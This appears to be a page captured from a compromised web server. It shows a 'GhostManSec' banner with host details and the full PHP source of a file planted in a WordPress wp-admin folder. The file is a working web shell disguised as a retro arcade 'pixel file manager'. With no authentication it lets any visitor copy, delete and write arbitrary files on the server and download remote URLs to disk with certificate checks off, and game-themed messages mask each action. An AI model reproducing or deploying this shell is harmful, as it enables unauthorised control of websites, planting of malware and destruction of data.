GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/emenu.anqa.it/wp-admin/do79.php
<?php
/**
 * 文件操作管理平台 - 像素艺术复古游戏风格
 * 功能与上一版本完全一致,采用8-bit像素游戏美学
 * 代码风格:极简主义,去除冗余封装,保持清爽
 */

error_reporting(E_ALL & ~E_NOTICE);
session_status() === PHP_SESSION_NONE && session_start();

define('ACT_UPLOAD', 'upload_file');
define('ACT_DELETE', 'delete_file');
define('ACT_TEXT', 'create_from_text');
define('ACT_URL', 'create_from_url');

$action = $_POST['action'] ?? '';
$src_raw = $_POST['source_paths'] ?? '';
$dst_raw = $_POST['target_paths'] ?? '';
$content = $_POST['file_content'] ?? '';
$filename = $_POST['file_name'] ?? '';

$src_lines = [];
foreach (explode("\n", $src_raw) as $line) {
    $line = trim($line);
    $line !== '' && $src_lines[] = $line;
}

$dst_lines = [];
foreach (explode("\n", $dst_raw) as $line) {
    $line = trim($line);
    $line !== '' && $dst_lines[] = $line;
}

$results = [];

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    if ($action === ACT_UPLOAD) {
        if (empty($src_lines) || empty($dst_lines)) {
            $results[] = ['type' => 'error', 'msg' => '🕹️ GAME OVER! Source and target paths required!'];
        } else {
            foreach ($src_lines as $src_file) {
                if (!file_exists($src_file)) {
                    $results[] = ['type' => 'error', 'msg' => "🕹️ LEVEL NOT FOUND: $src_file"];
                    continue;
                }
                
                if (!is_readable($src_file)) {
                    $results[] = ['type' => 'error', 'msg' => "🕹️ CAN'T LOAD SAVE FILE: $src_file"];
                    continue;
                }
                
                $src_size = filesize($src_file);
                if ($src_size === false) {
                    $results[] = ['type' => 'error', 'msg' => "🕹️ SCORE COUNTER BROKEN: $src_file"];
                    continue;
                }
                
                if ($src_size === 0) {
                    $results[] = ['type' => 'warning', 'msg' => "⚠️ EMPTY POWER-UP: $src_file (0 COINS)"];
                }
                
                $base_name = basename($src_file);
                
                foreach ($dst_lines as $dst_dir) {
                    $dst_dir = rtrim($dst_dir, '/\\');
                    $dst_path = $dst_dir . DIRECTORY_SEPARATOR . $base_name;
                    
                    $dir = dirname($dst_path);
                    if (!is_dir($dir)) {
                        if (!mkdir($dir, 0755, true)) {
                            $results[] = ['type' => 'error', 'msg' => "🕹️ CAN'T CREATE NEW LEVEL: $dir"];
                            continue;
                        }
                    }
                    
                    if (!is_writable($dir)) {
                        $results[] = ['type' => 'error', 'msg' => "🕹️ DOOR LOCKED! NEED KEY: $dir"];
                        continue;
                    }
                    
                    $copy_success = false;
                    $error_msg = '';
                    
                    if (copy($src_file, $dst_path)) {
                        $copy_success = true;
                    } else {
                        $powerup = file_get_contents($src_file);
                        if ($powerup !== false) {
                            if (file_put_contents($dst_path, $powerup) !== false) {
                                $copy_success = true;
                            } else {
                                $error_msg = 'LOST A LIFE';
                            }
                        } else {
                            $error_msg = 'GAME CRASHED';
                        }
                    }
                    
                    if ($copy_success) {
                        clearstatcache();
                        $dst_size = filesize($dst_path);
                        
                        if ($dst_size === $src_size) {
                            $results[] = ['type' => 'success', 'msg' => "⭐ 1-UP! LEVEL COMPLETE: $dst_path [{$dst_size} COINS]"];
                        } else {
                            $results[] = ['type' => 'error', 'msg' => "⚠️ CHEAT DETECTED! SRC:{$src_size} DST:{$dst_size} - $dst_path"];
                            @unlink($dst_path);
                        }
                    } else {
                        $results[] = ['type' => 'error', 'msg' => "🕹️ GAME OVER: $dst_path [$error_msg]"];
                    }
                }
            }
        }
    }
    
    elseif ($action === ACT_DELETE) {
        if (empty($src_lines) || empty($dst_lines)) {
            $results[] = ['type' => 'error', 'msg' => '🕹️ GAME OVER! Source and target paths required!'];
        } else {
            foreach ($src_lines as $src_file) {
                $base_name = basename($src_file);
                foreach ($dst_lines as $dst_dir) {
                    $dst_dir = rtrim($dst_dir, '/\\');
                    $dst_path = $dst_dir . DIRECTORY_SEPARATOR . $base_name;
                    
                    if (!file_exists($dst_path)) {
                        $results[] = ['type' => 'warning', 'msg' => "⚠️ GHOST HOUSE EMPTY: $dst_path"];
                        continue;
                    }
                    
                    if (!is_writable($dst_path)) {
                        $results[] = ['type' => 'error', 'msg' => "🕹️ INVINCIBLE ENEMY: $dst_path"];
                        continue;
                    }
                    
                    $file_size = filesize($dst_path);
                    
                    if (unlink($dst_path)) {
                        $results[] = ['type' => 'success', 'msg' => "👻 BOO! DELETED: $dst_path [{$file_size} COINS LOST]"];
                    } else {
                        $results[] = ['type' => 'error', 'msg' => "🕹️ CAN'T DEFEAT BOSS: $dst_path"];
                    }
                }
            }
        }
    }
    
    elseif ($action === ACT_TEXT) {
        if ($content === '' || $filename === '') {
            $results[] = ['type' => 'error', 'msg' => '🕹️ ENTER YOUR NAME AND SCORE!'];
        } else {
            $dir = dirname($filename);
            if (!is_dir($dir) && !mkdir($dir, 0755, true)) {
                $results[] = ['type' => 'error', 'msg' => "🕹️ CAN'T CREATE NEW LEVEL: $dir"];
            } else {
                if (!is_writable($dir)) {
                    $results[] = ['type' => 'error', 'msg' => "🕹️ DOOR LOCKED! NEED KEY: $dir"];
                } else {
                    $bytes = file_put_contents($filename, $content);
                    if ($bytes !== false) {
                        clearstatcache();
                        $actual_size = filesize($filename);
                        $results[] = ['type' => 'success', 'msg' => "🏆 HIGH SCORE: $filename [{$bytes} WORDS, {$actual_size} COINS]"];
                    } else {
                        $results[] = ['type' => 'error', 'msg' => "🕹️ CONTINUE? 10 COINS: $filename"];
                    }
                }
            }
        }
    }
    
    elseif ($action === ACT_URL) {
        if ($content === '' || $filename === '') {
            $results[] = ['type' => 'error', 'msg' => '🕹️ WARP ZONE NEEDS CODE AND DESTINATION!'];
        } else {
            $url = trim($content);
            
            if (!filter_var($url, FILTER_VALIDATE_URL)) {
                $results[] = ['type' => 'error', 'msg' => "🕹️ KONAMI CODE WRONG: $url"];
            } else {
                $remote = false;
                $download_method = '';
                
                $ctx = stream_context_create([
                    'http' => [
                        'timeout' => 30,
                        'user_agent' => 'NES-Emulator/1.0',
                        'follow_location' => 1,
                        'max_redirects' => 5
                    ],
                    'ssl' => [
                        'verify_peer' => false,
                        'verify_peer_name' => false
                    ]
                ]);
                
                $remote = @file_get_contents($url, false, $ctx);
                if ($remote !== false) {
                    $download_method = 'WARP ZONE';
                } else {
                    if (function_exists('curl_init')) {
                        $ch = curl_init();
                        curl_setopt($ch, CURLOPT_URL, $url);
                        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
                        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
                        curl_setopt($ch, CURLOPT_MAXREDIRS, 5);
                        curl_setopt($ch, CURLOPT_USERAGENT, 'NES-Emulator/1.0');
                        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                        $remote = curl_exec($ch);
                        $curl_error = curl_error($ch);
                        curl_close($ch);
                        
                        if ($remote !== false) {
                            $download_method = 'SECRET LEVEL';
                        } else {
                            $results[] = ['type' => 'error', 'msg' => "🕹️ LAGGING! $curl_error"];
                        }
                    }
                }
                
                if ($remote === false) {
                    $results[] = ['type' => 'error', 'msg' => "🕹️ CONNECTION INTERRUPTED: $url"];
                } else {
                    $downloaded_size = strlen($remote);
                    
                    if ($downloaded_size === 0) {
                        $results[] = ['type' => 'warning', 'msg' => "⚠️ EMPTY POWER-UP: $url"];
                    }
                    
                    $dir = dirname($filename);
                    if (!is_dir($dir) && !mkdir($dir, 0755, true)) {
                        $results[] = ['type' => 'error', 'msg' => "🕹️ CAN'T CREATE NEW LEVEL: $dir"];
                    } else {
                        if (!is_writable($dir)) {
                            $results[] = ['type' => 'error', 'msg' => "🕹️ DOOR LOCKED! NEED KEY: $dir"];
                        } else {
                            $bytes = file_put_contents($filename, $remote);
                            if ($bytes !== false) {
                                clearstatcache();
                                $actual_size = filesize($filename);
                                $results[] = ['type' => 'success', 'msg' => "🏆 WARP ZONE UNLOCKED: $filename [VIA:{$download_method} RECEIVED:{$downloaded_size} COINS, SAVED:{$actual_size} COINS]"];
                            } else {
                                $results[] = ['type' => 'error', 'msg' => "🕹️ GAME PAUSED: $filename"];
                            }
                        }
                    }
                }
            }
        }
    }
}

$src_display = htmlspecialchars($src_raw, ENT_QUOTES, 'UTF-8');
$dst_display = htmlspecialchars($dst_raw, ENT_QUOTES, 'UTF-8');
$content_display = htmlspecialchars($content, ENT_QUOTES, 'UTF-8');
$filename_display = htmlspecialchars($filename, ENT_QUOTES, 'UTF-8');

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>🕹️ 8-BIT ARCADE · PIXEL FILE 🕹️</title>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <style>
        /* ===== 像素艺术复古游戏风格 ===== 
           8-bit、红白机、GameBoy、街机
           主色调:像素蓝、游戏红、金币黄、复古绿
        */
        
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            image-rendering: pixelated;
            image-rendering: crisp-edges;
        }
        
        body {
            background: #1a1a2a;
            background-image: 
                repeating-linear-gradient(0deg, 
                    #2a2a3a 0px, 
                    #2a2a3a 4px,
                    #1a1a2a 4px,
                    #1a1a2a 8px);
            min-height: 100vh;
            font-family: 'Press Start 2P', 'Courier New', monospace;
            padding: 20px;
            color: #4aff4a;
            position: relative;
            image-rendering: pixelated;
        }
        
        /* CRT扫描线 */
        body::before {
            content: '';
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: repeating-linear-gradient(0deg, 
                rgba(0, 0, 0, 0.1) 0px,
                rgba(0, 0, 0, 0.1) 2px,
                transparent 2px,
                transparent 4px);
            pointer-events: none;
            z-index: 10;
        }
        
        .arcade {
            max-width: 1300px;
            margin: 0 auto;
            position: relative;
            z-index: 1;
            display: flex;
            flex-direction: column;
            gap: 20px;
        }
        
        /* ===== 街机机台 ===== */
        .arcade-cabinet {
            background: #dc0f0f;
            border: 8px solid #6d0b0b;
            border-radius: 20px 20px 10px 10px;
            padding: 20px 30px;
            display: flex;
            align-items: center;
            justify-content: space-between;
            position: relative;
            box-shadow: 0 15px 0 #4a0a0a, inset -4px -4px 0 #8b0b0b;
        }
        
        .arcade-cabinet::before {
            content: '🕹️🕹️🕹️';
            position: absolute;
            top: -15px;
            left: 50%;
            transform: translateX(-50%);
            background: #ffcc00;
            padding: 5px 30px;
            border: 4px solid #6d0b0b;
            color: #1a1a2a;
            font-size: 20px;
            letter-spacing: 5px;
        }
        
        .pixel-brand {
            display: flex;
            align-items: center;
            gap: 15px;
        }
        
        .pixel-coin {
            width: 60px;
            height: 60px;
            background: #ffcc00;
            border: 6px solid #ffaa00;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 30px;
            color: #1a1a2a;
            box-shadow: 0 8px 0 #b88a00;
        }
        
        .pixel-brand h1 {
            font-size: 36px;
            font-weight: 400;
            color: #ffcc00;
            text-shadow: 4px 4px 0 #8b0b0b, 6px 6px 0 #4a0a0a;
            letter-spacing: 2px;
        }
        
        .pixel-brand h1 span {
            font-size: 12px;
            display: block;
            color: #4aff4a;
            text-shadow: 2px 2px 0 #1a1a2a;
        }
        
        .high-score {
            background: #1a1a2a;
            border: 4px solid #ffcc00;
            padding: 10px 20px;
            color: #ffcc00;
            font-size: 20px;
            text-align: center;
            box-shadow: inset -4px -4px 0 #0a0a1a;
        }
        
        /* ===== 游戏面板 ===== */
        .game-panel {
            background: #2a2a3a;
            border: 4px solid #ffcc00;
            padding: 15px;
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
            gap: 10px;
            box-shadow: inset -4px -4px 0 #1a1a2a;
        }
        
        .game-item {
            background: #1a1a2a;
            border: 4px solid #4aff4a;
            padding: 10px 15px;
            display: flex;
            align-items: center;
            gap: 10px;
            box-shadow: inset -2px -2px 0 #0a0a1a;
        }
        
        .game-icon {
            font-size: 28px;
            color: #ffcc00;
        }
        
        .game-data {
            flex: 1;
        }
        
        .game-label {
            font-size: 10px;
            color: #4aff4a;
            letter-spacing: 1px;
        }
        
        .game-value {
            font-size: 14px;
            font-weight: bold;
            color: #ffcc00;
        }
        
        .game-good { border-left: 6px solid #4aff4a; }
        .game-warning { border-left: 6px solid #ffaa00; }
        .game-bad { border-left: 6px solid #ff4a4a; }
        
        /* ===== 主网格 ===== */
        .pixel-grid {
            display: grid;
            grid-template-columns: 1.2fr 1fr;
            gap: 20px;
        }
        
        @media (max-width: 850px) {
            .pixel-grid {
                grid-template-columns: 1fr;
            }
        }
        
        /* ===== 游戏卡带 ===== */
        .game-cartridge {
            background: #4a4a5a;
            border: 6px solid #ffcc00;
            border-radius: 10px;
            padding: 25px;
            box-shadow: 10px 10px 0 #1a1a2a, inset -4px -4px 0 #2a2a3a;
            position: relative;
        }
        
        .game-cartridge::before {
            content: '🎮';
            position: absolute;
            top: -20px;
            left: 20px;
            font-size: 30px;
            background: #4a4a5a;
            padding: 0 10px;
            border: 4px solid #ffcc00;
            transform: rotate(-5deg);
        }
        
        .game-cartridge::after {
            content: '🕹️';
            position: absolute;
            bottom: -15px;
            right: 20px;
            font-size: 30px;
            opacity: 0.5;
        }
        
        .cartridge-header {
            display: flex;
            align-items: center;
            gap: 10px;
            margin-bottom: 20px;
            border-bottom: 4px solid #ffcc00;
            padding-bottom: 10px;
        }
        
        .cartridge-header i {
            font-size: 30px;
            color: #4aff4a;
        }
        
        .cartridge-header h2 {
            font-size: 20px;
            font-weight: 400;
            color: #ffcc00;
            text-shadow: 2px 2px 0 #1a1a2a;
        }
        
        /* ===== 表单 ===== */
        .pixel-field {
            margin-bottom: 20px;
        }
        
        .pixel-label {
            display: flex;
            align-items: center;
            gap: 8px;
            font-size: 12px;
            color: #4aff4a;
            margin-bottom: 5px;
            background: #1a1a2a;
            padding: 5px 15px;
            border: 2px solid #ffcc00;
            width: fit-content;
        }
        
        .pixel-label i {
            color: #ffcc00;
        }
        
        textarea, 
        input[type="text"] {
            width: 100%;
            background: #0a0a1a;
            border: 4px solid #ffcc00;
            color: #4aff4a;
            font-family: 'Press Start 2P', monospace;
            font-size: 12px;
            padding: 12px 18px;
            resize: vertical;
            box-shadow: inset -4px -4px 0 #1a1a2a;
        }
        
        textarea:focus, 
        input[type="text"]:focus {
            outline: none;
            border-color: #4aff4a;
            background: #1a1a2a;
        }
        
        textarea::placeholder, 
        input::placeholder {
            color: #4a4a5a;
        }
        
        textarea {
            min-height: 100px;
        }
        
        .pixel-hint {
            font-size: 10px;
            color: #9a9aff;
            margin-top: 5px;
            display: flex;
            align-items: center;
            gap: 5px;
        }
        
        /* ===== 像素按钮 ===== */
        .pixel-actions {
            display: flex;
            gap: 10px;
            margin-top: 20px;
            flex-wrap: wrap;
        }
        
        .pixel-btn {
            flex: 1;
            min-width: 100px;
            background: #4a4a5a;
            border: none;
            border-bottom: 6px solid #1a1a2a;
            border-right: 4px solid #1a1a2a;
            padding: 15px 15px;
            font-family: 'Press Start 2P', monospace;
            font-size: 12px;
            color: #ffcc00;
            cursor: pointer;
            transition: 0.05s;
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 8px;
            text-transform: uppercase;
            image-rendering: pixelated;
        }
        
        .pixel-btn:hover {
            background: #5a5a6a;
            border-bottom-width: 4px;
            border-right-width: 2px;
            transform: translate(2px, 2px);
        }
        
        .pixel-btn:active {
            border-bottom-width: 2px;
            border-right-width: 1px;
            transform: translate(4px, 4px);
        }
        
        .btn-start {
            background: #2a8a2a;
            color: #ffcc00;
        }
        .btn-select {
            background: #8a2a2a;
            color: #ffcc00;
        }
        .btn-a {
            background: #2a2a8a;
            color: #ffcc00;
        }
        .btn-b {
            background: #8a4a2a;
            color: #ffcc00;
        }
        
        /* ===== 高分榜 ===== */
        .highscore-table {
            background: #2a2a3a;
            border: 6px solid #ffcc00;
            border-radius: 10px;
            padding: 25px;
            box-shadow: 10px 10px 0 #1a1a2a;
            margin-top: 10px;
            position: relative;
        }
        
        .highscore-table::before {
            content: '🏆 HIGH SCORES 🏆';
            position: absolute;
            top: -15px;
            left: 50%;
            transform: translateX(-50%);
            background: #ffcc00;
            padding: 5px 30px;
            border: 4px solid #6d0b0b;
            color: #1a1a2a;
            font-size: 14px;
            white-space: nowrap;
        }
        
        .log-header {
            display: flex;
            align-items: center;
            justify-content: space-between;
            margin-bottom: 20px;
            border-bottom: 4px solid #ffcc00;
            padding-bottom: 10px;
        }
        
        .log-title {
            display: flex;
            align-items: center;
            gap: 10px;
        }
        
        .log-title i {
            font-size: 28px;
            color: #ffcc00;
        }
        
        .log-title h3 {
            font-size: 16px;
            font-weight: 400;
            color: #4aff4a;
        }
        
        .log-counter {
            background: #1a1a2a;
            border: 2px solid #ffcc00;
            padding: 5px 20px;
            color: #ffcc00;
            font-size: 12px;
        }
        
        /* ===== 日志流 ===== */
        .log-stream {
            max-height: 280px;
            overflow-y: auto;
            padding: 10px;
            background: #0a0a1a;
            border: 4px solid #4aff4a;
        }
        
        .log-entry {
            display: flex;
            align-items: baseline;
            gap: 15px;
            padding: 10px 15px;
            margin-bottom: 8px;
            background: #1a1a2a;
            border-left: 6px solid;
            font-size: 11px;
            line-height: 1.6;
            font-family: 'Press Start 2P', monospace;
        }
        
        .log-entry:hover {
            background: #2a2a3a;
        }
        
        .log-success {
            border-left-color: #4aff4a;
        }
        
        .log-error {
            border-left-color: #ff4a4a;
        }
        
        .log-warning {
            border-left-color: #ffaa00;
        }
        
        .log-icon {
            width: 25px;
            text-align: center;
            font-size: 12px;
        }
        
        .log-message {
            flex: 1;
            word-break: break-word;
            color: #9a9aff;
        }
        
        .empty-log {
            text-align: center;
            padding: 40px 20px;
            color: #4a4a5a;
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: 10px;
        }
        
        .empty-log i {
            font-size: 40px;
            color: #ffcc00;
            opacity: 0.5;
        }
        
        .empty-log div {
            font-size: 12px;
        }
        
        /* ===== 底部 ===== */
        .pixel-footer {
            margin-top: 20px;
            padding: 20px;
            background: #2a2a3a;
            border: 4px solid #ffcc00;
            display: flex;
            align-items: center;
            justify-content: space-between;
            color: #4aff4a;
            font-size: 10px;
            box-shadow: inset -4px -4px 0 #1a1a2a;
        }
        
        .footer-left {
            display: flex;
            gap: 20px;
        }
        
        .footer-left span {
            display: flex;
            align-items: center;
            gap: 5px;
        }
        
        .footer-right {
            display: flex;
            gap: 15px;
        }
        
        .footer-right i {
            font-size: 16px;
            color: #ffcc00;
            transition: 0.1s;
        }
        
        .footer-right i:hover {
            transform: scale(1.2);
        }
        
        /* 像素装饰 */
        .pixel-star {
            position: absolute;
            width: 8px;
            height: 8px;
            background: #ffcc00;
            opacity: 0.2;
            pointer-events: none;
            z-index: 0;
        }
        
        /* 滚动条 */
        .log-stream::-webkit-scrollbar {
            width: 10px;
        }
        
        .log-stream::-webkit-scrollbar-track {
            background: #1a1a2a;
            border: 2px solid #ffcc00;
        }
        
        .log-stream::-webkit-scrollbar-thumb {
            background: #ffcc00;
            border: 2px solid #4aff4a;
        }
        
        .log-stream::-webkit-scrollbar-thumb:hover {
            background: #4aff4a;
        }
        
        /* 闪烁动画 */
        @keyframes blink-pixel {
            0%, 100% { opacity: 1; }
            50% { opacity: 0.5; }
        }
        
        .blink {
            animation: blink-pixel 1s step-end infinite;
        }
        
        /* 像素边框 */
        .pixel-border {
            border-style: solid;
            border-width: 4px;
            border-color: #ffcc00 #8b0b0b #8b0b0b #ffcc00;
        }
    </style>
    <!-- 像素字体 -->
    <link href="https://fonts.googleapis.com/css2?family=Press+Start+2P&display=swap" rel="stylesheet">
</head>
<body>
    
    <div class="arcade">
        
        <!-- 街机机台 -->
        <div class="arcade-cabinet">
            <div class="pixel-brand">
                <div class="pixel-coin">
                    🪙
                </div>
                <div>
                    <h1>
                        PIXEL FILE
                        <span>INSERT COIN</span>
                    </h1>
                </div>
            </div>
            <div class="high-score">
                <span class="blink">🏆 000000 🏆</span>
            </div>
        </div>
        
        <!-- 游戏面板 -->
        <div class="game-panel">
            <div class="game-item game-good">
                <div class="game-icon"><i class="fas fa-gamepad"></i></div>
                <div class="game-data">
                    <div class="game-label">CONTROLLER</div>
                    <div class="game-value"><?= is_writable('.') ? 'CONNECTED' : 'DISCONNECTED' ?></div>
                </div>
            </div>
            <div class="game-item game-good">
                <div class="game-icon"><i class="fas fa-save"></i></div>
                <div class="game-data">
                    <div class="game-label">SAVE STATE</div>
                    <div class="game-value"><?= function_exists('copy') ? 'READY' : 'CORRUPT' ?></div>
                </div>
            </div>
            <div class="game-item game-warning">
                <div class="game-icon"><i class="fas fa-wifi"></i></div>
                <div class="game-data">
                    <div class="game-label">NETPLAY</div>
                    <div class="game-value"><?= function_exists('curl_init') ? 'ONLINE' : 'OFFLINE' ?></div>
                </div>
            </div>
            <div class="game-item game-good">
                <div class="game-icon"><i class="fas fa-coins"></i></div>
                <div class="game-data">
                    <div class="game-label">COINS</div>
                    <div class="game-value"><?= round(disk_free_space('.') / 1024 / 1024) ?> 🪙</div>
                </div>
            </div>
        </div>
        
        <!-- 主表单 -->
        <form method="POST">
            <div class="pixel-grid">
                
                <!-- 左侧:双人模式 -->
                <div class="game-cartridge">
                    <div class="cartridge-header">
                        <i class="fas fa-users"></i>
                        <h2>👥 2-PLAYER MODE</h2>
                    </div>
                    
                    <div class="pixel-field">
                        <div class="pixel-label">
                            <i class="fas fa-file"></i> PLAYER 1 FILES
                        </div>
                        <textarea name="source_paths" placeholder="/player1/save1&#10;/player1/save2"><?= $src_display ?></textarea>
                        <div class="pixel-hint">
                            <i class="fas fa-arrow-right"></i> PRESS START
                        </div>
                    </div>
                    
                    <div class="pixel-field">
                        <div class="pixel-label">
                            <i class="fas fa-folder"></i> PLAYER 2 FILES
                        </div>
                        <textarea name="target_paths" placeholder="/player2/save1&#10;/player2/save2"><?= $dst_display ?></textarea>
                    </div>
                    
                    <div class="pixel-actions">
                        <button type="submit" name="action" value="<?= ACT_UPLOAD ?>" class="pixel-btn btn-start">
                            <i class="fas fa-play"></i> START
                        </button>
                        <button type="submit" name="action" value="<?= ACT_DELETE ?>" class="pixel-btn btn-select" onclick="return confirm('🕹️ CONTINUE? 10 COINS?')">
                            <i class="fas fa-undo"></i> SELECT
                        </button>
                    </div>
                </div>
                
                <!-- 右侧:秘籍输入 -->
                <div class="game-cartridge">
                    <div class="cartridge-header">
                        <i class="fas fa-keyboard"></i>
                        <h2>🎮 KONAMI CODE</h2>
                    </div>
                    
                    <div class="pixel-field">
                        <div class="pixel-label">
                            <i class="fas fa-pen"></i> CHEAT CODE
                        </div>
                        <textarea name="file_content" placeholder="⬆️⬆️⬇️⬇️⬅️➡️⬅️➡️🅱️🅰️"><?= $content_display ?></textarea>
                    </div>
                    
                    <div class="pixel-field">
                        <div class="pixel-label">
                            <i class="fas fa-save"></i> SAVE GAME
                        </div>
                        <input type="text" name="file_name" value="<?= $filename_display ?>" placeholder="/saves/cheat.sav">
                    </div>
                    
                    <div class="pixel-actions">
                        <button type="submit" name="action" value="<?= ACT_TEXT ?>" class="pixel-btn btn-a">
                            <i class="fas fa-circle"></i> A BUTTON
                        </button>
                        <button type="submit" name="action" value="<?= ACT_URL ?>" class="pixel-btn btn-b">
                            <i class="fas fa-square"></i> B BUTTON
                        </button>
                    </div>
                </div>
            </div>
        </form>
        
        <!-- 高分榜 -->
        <div class="highscore-table">
            <div class="log-header">
                <div class="log-title">
                    <i class="fas fa-trophy"></i>
                    <h3>🏆 HIGH SCORES</h3>
                </div>
                <div class="log-counter">
                    1ST <?= count($results) ?>
                </div>
            </div>
            
            <div class="log-stream">
                <?php if (empty($results)): ?>
                    <div class="empty-log">
                        <i class="fas fa-gamepad"></i>
                        <div>INSERT COIN</div>
                        <div class="blink">🕹️</div>
                    </div>
                <?php else: ?>
                    <?php foreach ($results as $index => $log): ?>
                        <div class="log-entry log-<?= $log['type'] ?>">
                            <div class="log-icon">
                                <?php if ($index === 0): ?>
                                    👑
                                <?php elseif ($index === 1): ?>
                                    🥈
                                <?php elseif ($index === 2): ?>
                                    🥉
                                <?php else: ?>
                                    <?= $index + 1 ?>.
                                <?php endif; ?>
                            </div>
                            <div class="log-message"><?= htmlspecialchars($log['msg']) ?></div>
                        </div>
                    <?php endforeach; ?>
                <?php endif; ?>
            </div>
        </div>
        
        <!-- 底部 -->
        <div class="pixel-footer">
            <div class="footer-left">
                <span><i class="fas fa-circle"></i> 1P</span>
                <span><i class="fas fa-circle"></i> 2P</span>
                <span class="blink">🕹️ READY</span>
            </div>
            <div class="footer-right">
                <i class="fas fa-gamepad"></i>
                <i class="fas fa-save"></i>
                <i class="fas fa-coin"></i>
                <i class="fas fa-trophy"></i>
            </div>
        </div>
        
    </div>
    
    <script>
        (function() {
            // 删除确认 - 像素游戏风格
            document.querySelectorAll('.btn-select').forEach(btn => {
                btn.addEventListener('click', e => {
                    if (!confirm('🕹️ CONTINUE? 10 COINS? GAME OVER IF YOU DELETE!')) {
                        e.preventDefault();
                    }
                });
            });
            
            // 自动滚动日志
            const stream = document.querySelector('.log-stream');
            if (stream) stream.scrollTop = stream.scrollHeight;
            
            // 动态placeholder
            document.querySelectorAll('textarea[name="source_paths"]').forEach(el => {
                el.addEventListener('input', function() {
                    const lines = this.value.split('\n').filter(l => l.trim() !== '').length;
                    if (lines.length > 0) {
                        this.placeholder = `🕹️ ${lines} CONTINUES LEFT`;
                    }
                });
            });
            
            // 高分榜闪烁
            setInterval(() => {
                const score = document.querySelector('.high-score span');
                if (score) {
                    const randomScore = Math.floor(Math.random() * 999999);
                    score.innerHTML = `🏆 ${randomScore.toString().padStart(6, '0')} 🏆`;
                }
            }, 3000);
            
            console.log('%c🕹️ PIXEL FILE MANAGER · 1-UP! 🕹️', 'color: #ffcc00; font-size: 14px; font-family: monospace;');
        })();
    </script>
    
</body>
</html>